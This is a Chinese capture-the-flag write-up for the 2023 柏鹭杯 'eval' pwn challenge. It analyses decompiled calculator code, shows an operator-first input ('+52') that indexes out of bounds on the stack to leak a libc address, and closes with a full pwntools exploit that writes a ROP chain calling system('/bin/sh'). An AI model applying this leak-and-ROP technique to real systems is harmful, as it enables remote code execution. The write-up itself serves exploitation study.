Skip to content

2023柏鹭杯

· 1,692 字 · wp

前言#

算是这三个月以来第一次打比赛 生疏了很多 然后两题pwn的考点都在代码审计能力 我刚好这方面十分薄弱 所以在赛后借助这两题准备进行一次细致的代审

同时 文中出现的函数名大部分都是我自己重命名过的 所以不一样不用担心ida解析问题

eval#

__int64 __fastcall main(int a1, char **a2, char **a3)
{
char v4[160]; // [rsp+10h] [rbp-1B0h] BYREF
char v5[264]; // [rsp+B0h] [rbp-110h] BYREF
unsigned __int64 v6; // [rsp+1B8h] [rbp-8h]
v6 = __readfsqword(0x28u);
setbuf(stdin, 0LL);
setbuf(stdout, 0LL);
setbuf(stderr, 0LL);
alarm(0x1Eu);
while ( recv_data(v5, 0x100uLL) )
vuln(v5, v4);
return 0LL;
}

main函数就是清空缓冲区以及设置闹钟 同时使用了一个while循环 先跟进一下recv_data这个函数

__int64 __fastcall sub_9D6(void *a1, size_t a2)
{
__int64 v3; // rax
char buf; // [rsp+1Fh] [rbp-11h] BYREF
__int64 v6; // [rsp+20h] [rbp-10h]
unsigned __int64 v7; // [rsp+28h] [rbp-8h]
v7 = __readfsqword(0x28u);
v6 = 0LL;
memset(a1, 0, a2);
while ( a2 > v6 + 1 && read(0, &buf, 1uLL) != -1 && buf != 10 )
{
if ( !check_opt(buf) && !check_number(buf) )
error();
v3 = v6++;
*(a1 + v3) = buf;
}
return v6;
}

通过单次输入一个字节 随后对该字节进行判断 是否为数字或者运算符 然后存储到a1中 随后来看一下vuln函数

int __fastcall vuln(__int64 buf, _QWORD *a2)
{
char v3; // [rsp+1Fh] [rbp-11h]
__int64 buf2; // [rsp+20h] [rbp-10h]
__int64 i; // [rsp+28h] [rbp-8h]
memset(a2, 0, 0xA0uLL);
buf2 = buf;
for ( i = 0LL; ; ++i )
{
v3 = *(buf + i);
if ( !check_opt(v3) ) // 如果不是opt就返回0 即退出for循环
break;
deal_number(a2, buf2, i + buf);
if ( !check_number(*(i + 1 + buf)) )
error();
sub_CB1(a2, v3);
buf2 = i + 1 + buf;
LABEL_8:
;
}
if ( v3 )
goto LABEL_8;
deal_number(a2, buf2, i + buf);
while ( *a2 )
calc(a2);
return printf("%ld\n", a2[a2[3] + 3]);
}

这里的逻辑稍微复杂一点 仍然是一个逐字节处理 只有是操作符才能执行for循环中的函数 来跟进一下deal_number函数

_BYTE *__fastcall sub_DC9(__int64 a1, const char *buf2, _BYTE *opt)
{
_BYTE *result; // rax
__int64 v4; // rax
__int64 v5; // rcx
char old_opt; // [rsp+27h] [rbp-9h]
_BYTE *first_number; // [rsp+28h] [rbp-8h]
if ( *buf2 == '0' )
error();
old_opt = *opt;
*opt = 0;
first_number = strtol(buf2, 0LL, 10);
result = opt;
*opt = old_opt;
if ( first_number )
{
v4 = *(a1 + 24);
*(a1 + 24) = v4 + 1;
v5 = v4 + 4;
result = first_number;
*(a1 + 8 * v5) = first_number;
}
return result;
}

先判断了是否为0 是则终止程序 随后利用strtol将字符串转化为长整型 存储在a1+32处 同时a1+24处自增1 当然这是第一次处理的情况 后面由于a1+24的值不为0了 所以数字存储的地址也会相应增加一个字长 sub_cb1函数是一个对于运算符的检查以及筛分后运算

__int64 __fastcall sub_CB1(_QWORD *a1, char opt)
{
__int64 result; // rax
if ( !*a1 )
{
result = (*a1)++;
*(a1 + result + 8) = opt;
return result;
}
if ( opt != '+' )
{
if ( opt <= '+' )
{
if ( opt != '*' ) // 这边是*的跳转
LABEL_16:
error();
goto LABEL_8;
}
if ( opt != '-' )
{
if ( opt != '/' )
goto LABEL_16;
LABEL_8:
if ( sub_91A(*(a1 + *a1 + 7)) ) // *(a1 + *a1 + 7)也就是运算符 sub_91A用来进一步检查是否为*和/
calc(a1);
if ( *a1 > 0xEuLL )
error();
result = (*a1)++;
*(a1 + result + 8) = opt;
return result;
}
}
calc(a1);
if ( *a1 > 0xEuLL )
error();
result = (*a1)++;
*(a1 + result + 8) = opt;
return result;
}

随后calc函数应该很容易就能看出来是干啥的 这里的a1数组后面我们再仔细分析

_QWORD *__fastcall sub_AC7(_QWORD *a1)
{
_QWORD *result; // rax
int opt; // eax
result = *a1;
if ( *a1 )
{
opt = *(a1 + --*a1 + 8);
if ( opt == '+' )
{
a1[a1[3] + 2] += a1[a1[3] + 3]; // a1[a1[3] + 2]为第一个number
}
else if ( opt > '+' )
{
if ( opt == '-' )
{
a1[a1[3] + 2] -= a1[a1[3] + 3];
}
else
{
if ( opt != '/' )
LABEL_15:
error();
if ( !a1[a1[3] + 3] )
error();
a1[a1[3] + 2] /= a1[a1[3] + 3];
}
}
else
{
if ( opt != '*' )
goto LABEL_15;
a1[a1[3] + 2] *= a1[a1[3] + 3];
}
result = a1;
--a1[3];
}
return result;
}

经过上面的分析 我们大概可以推理出这样一个大概的流程 比如 输入1+2 首先针对1进行判断 非运算符 所以跳出for循环 但是执行到下面的if的时候 又跳回到了if循环中 此时i自增1 也就是判断下一个字符 即+ +可以通过判断 此时第一次执行deal_number函数 而其第二个参数buf2 此时仍然执行buf首地址 也就是第一个数字 于是这里就存储第一个数字到了a1数组中对应的地址 也就是a1+32 随后检查下一个字符是否为数字 如果不是则终止程序 同时更改了buf2 使其指向2数字位于的地址 随后就因为第四个字节为空 此时就算真正跳出了for循环 此时再次执行deal_number 也就是对于第二个数字进行存储 随后进入calc函数执行操作 这里的a1[a1[3] + 2] 我们拆开分析 a1[3]显然是deal_number函数中的v4 在执行两次后 其变成了2 而最后得到的a1[4]就是第一个数字存储的地址 第二个则为a1[5] 完整的一个流程应该是这样的 看起来没有什么可以利用的漏洞点 但是如果我们输入的是+52会怎么样 其会直接进入if分支 随后执行deal_number函数 而此时的buf2指向的是运算符 而strtol函数是无法转化运算符的 也就是说其返回值为空 那么第一个数字的存储就失败了 随后只会存储52这个数字到a2+32的位置 随后执行到calc函数的时候 由于a2[3]此时才为1 所以就相当于a2[3]被增加到了53 而最后的printf语句就是根据a2[3]来索引的

printf("%ld\n", a2[a2[3] + 3])

所以漏洞就出现在这里 可以实现一个栈上内容的泄露 泄露出libc_start_main的地址 image.png

from pwn import*
from ctypes import *
io = process("./pwn")
#io = remote("121.12.85.23",50532)
elf = ELF("./pwn")
context.terminal = ['tmux','splitw','-h']
#libc = ELF("./ld-linux.so.2")
libc = ELF("./glibc-all-in-one/libs/2.31-0ubuntu9.9_amd64/libc-2.31.so")
#libc = cdll.LoadLibrary('/lib/x86_64-linux-gnu/libc.so.6')
#context.arch = "amd64"
context.log_level = "debug"
def debug():
    gdb.attach(io)
    pause()
payload = "+52"
io.sendline(payload)
libc.address = int(io.recvuntil("\n",drop = True),10)-0x24083
success("libc_addr :"+hex(libc.address))
system_addr = libc.sym['system']
payload = "+54+"+str(system_addr)
io.sendline(payload)
binsh_addr = next(libc.search(b"/bin/sh"))
payload = "+53+"+str(binsh_addr)
io.sendline(payload)
rdi_addr = libc.address + 0x0000000000023b6a
payload = "+52+"+str(rdi_addr)
io.sendline(payload)
ret_addr = rdi_addr+1
payload = "+51+"+str(ret_addr)
io.sendline(payload)
payload = ""
# gdb.attach(io,'b *$rebase(0x1054)')
io.sendline(payload)
# pause()
io.interactive()